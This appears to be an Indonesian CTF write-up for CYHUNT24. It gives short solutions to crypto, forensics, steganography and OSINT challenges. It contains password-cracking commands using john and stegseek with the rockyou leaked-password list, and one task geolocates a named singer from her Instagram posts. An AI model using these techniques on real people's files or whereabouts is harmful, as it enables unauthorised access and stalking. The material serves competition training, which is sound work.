Pada program, token dilakukan xor yang kemungkinan resultnya adalah flag. karena kami tahu bahwa format flagnya CYHUNT24 Kami bisa menggunakan ini untuk mendapatkan key nya dan untungnya key hanya mempunyai panjang 3 karakter.

key nya adalah key, lanjut kami menggunakan key ini unduk decode xor nya.

Flag: CYHUNT24{w4s_s0_3z_f0r_g0l4ng}

Digital Forensic

barang bukti

Diberikan sebuah file APK with classes.dex. Kami pun mengekstraknya, lalu masuk ke directorynya. Berhubung pada deskripsinya meminta chat_id, kami pun menjalankan perintah grep -ra ‘chat_id’.

Flag: CYHUNT24{6350386314}

kena heck

Diberikan sebuah log pcapng, kami mencoba untuk mencari flag dengan strings.

Flag: CYHUNT24{usb_my_fav_St0rage}

Flagstorage

Diberikan sebuah file flag.pptx. Kami pun langsung mengekstraknya. Setelah itu kami masuk ke directorynya dan cari flagnya dengan grep -ra ‘CYHUNT.

Flag: CYHUNT24{didyoukn0w_that_officed0cs_us1ng_pkzip_head3r?}

Lookin’ for Secrets

Diberikan sebuah file zip, yang ketika diekstrak akan mengeluarkan sangat banyak folder. Berdasarkan namanya, folder folder tersebut terlihat seperti folder windows. Kami pun mencoba untuk langsung mencari flagnya dengan grep. Commandnya sebagai berikut : grep -ra ‘CYHUNT’

Flag: CYHUNT24{appd4ta_c4ch3data_235wefs35}

tebak aku

basically kita pake password yg ada di log untuk ngebrute zip nya pakai john

dan dpt sfwhfuwghwbgrgsdnvsjvs

dpt ni ada hex kita decode aja dpt flagnya

Flag: CYHUNT24{tetap_ilmu_padi_abangku}

IMG

Diberikan sebuah gambar logo Cyber Specters, kami pun membukanya dengan Aperisolve.

Flag: CYHUNT24{masih_pemanasan_iniii}

Steg

stegseek stegkeknya.jpeg -wl ~/seclists/Passwords/Leaked-Databases/rockyou.txt

StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "cyber"

[i] Original filename: "flag.txt".

[i] Extracting to "stegkeknya.jpeg.out".

cat stegkeknya.jpeg.out

CYHUNT24{masih_easy-lahh_yaaa}

Flag: CYHUNT24{masih_easy-lahh_yaaa}

bit/bit

kita extract aj filenya dan kita zsteg file 29512…jpg nya

Flag: CYHUNT24{1n_god_w3_trust}

rumah makan on day monday

kita stegseek

stegseek mencoba-kesempatan-ke-2-kali_4.jpg -wl ~/seclists/Passwords/Leaked-Databases/rockyou.txt

muncul txt huruf jepang dan nomer, kita extract nomernya dan jadiin ascii

Flag: CYHUNT24{m1s1_suks3s_k4mu_c1n4_as33l111}

Child’s Play

disini terdapat sebuah png, tapi hexnya broken kita lgsg fix aja dibagian header dan footernya , cek menggunakan nayuki.io dan ini perbandingan fixed dan aslinya

Flag: CYHUNT24{br0ken_h3x_i5_EasY}

Huh Its Me Again

terdapat deskripsi csgo/forsaken ( kita bisa asumsi word.exe ) karna forsaken memakai cheat dgn menyamarkan nama nya jadi word.exe , lgsg krna ini dfir kepikiran artifact word yaitu template Normal.dotm, lgsg saya cari normal.dotm nya

dan bener ada macros disini

keliatan beberapa hex dan pas saya concrate semua hexnya jadi base64 dan pas saya decode dpt flagnya

Flag: CYHUNT24{t3mpl4t3_d4ng3r0us_s3r10usly}

ayo maen bola

Dari hint yang diberikan bahwa gambar ini sudah disisipi sebuah text dengan metode lsb, langsung saja ini solver yang kami buat.

img = open("2side.jpg", "rb").read()

binary = [format(byte, '08b') for byte in img]

p = ""

for i in binary:

p += i[len(i)-1:]

print(p)

dan ketika kami decode binernya.

Flag: CYHUNT24{T0pP_SLUR}

Osint

no feedback

Lalu kami search di google “Sikapmu seakan-akan menyuruh diriku pergi Tapi perkataanmu seolah aku penting bagimu”

Lagu tersebut milik Lyodra Ginting. Setelah itu kami mencari instagramnya lalu kami cari postingan di tanggal 15/04/2024.

Pada tanggal tersebut, Lyodra sedang berada di AYANA Komodo Waecicu Beach. Kami pun mencari lokasi tersebut di google.

Flag: CYHUNT24{86554}

citylight

Kami pun membuka gambar tersebut di lens.google.com.

Dari google lens, kami mendapatkan info bahwa tempat tersebut adalah Kairos Coffee yang berada di Semarang, kami pun melihatnya di Google Maps untuk kode plus lokasinya.

Flag: CYHUNT24{X9X4+69}

Koko Doko?

Terlihat terdapat plang “Toko Marbun”, kami pun mencarinya di google maps dan ketemu Toko Marbun. Ini adalah titik koordinatnya.

Flag: CYHUNT24{-6.454,106.672}

old pict

diberikan satu file hint berupa base64 dan image

intinya dari foto tersebut kita mencari cari tempat kolam renang yang ada dan kita menemukan untuk foto yang sama. Dan flag nya terdapat pada ulasannya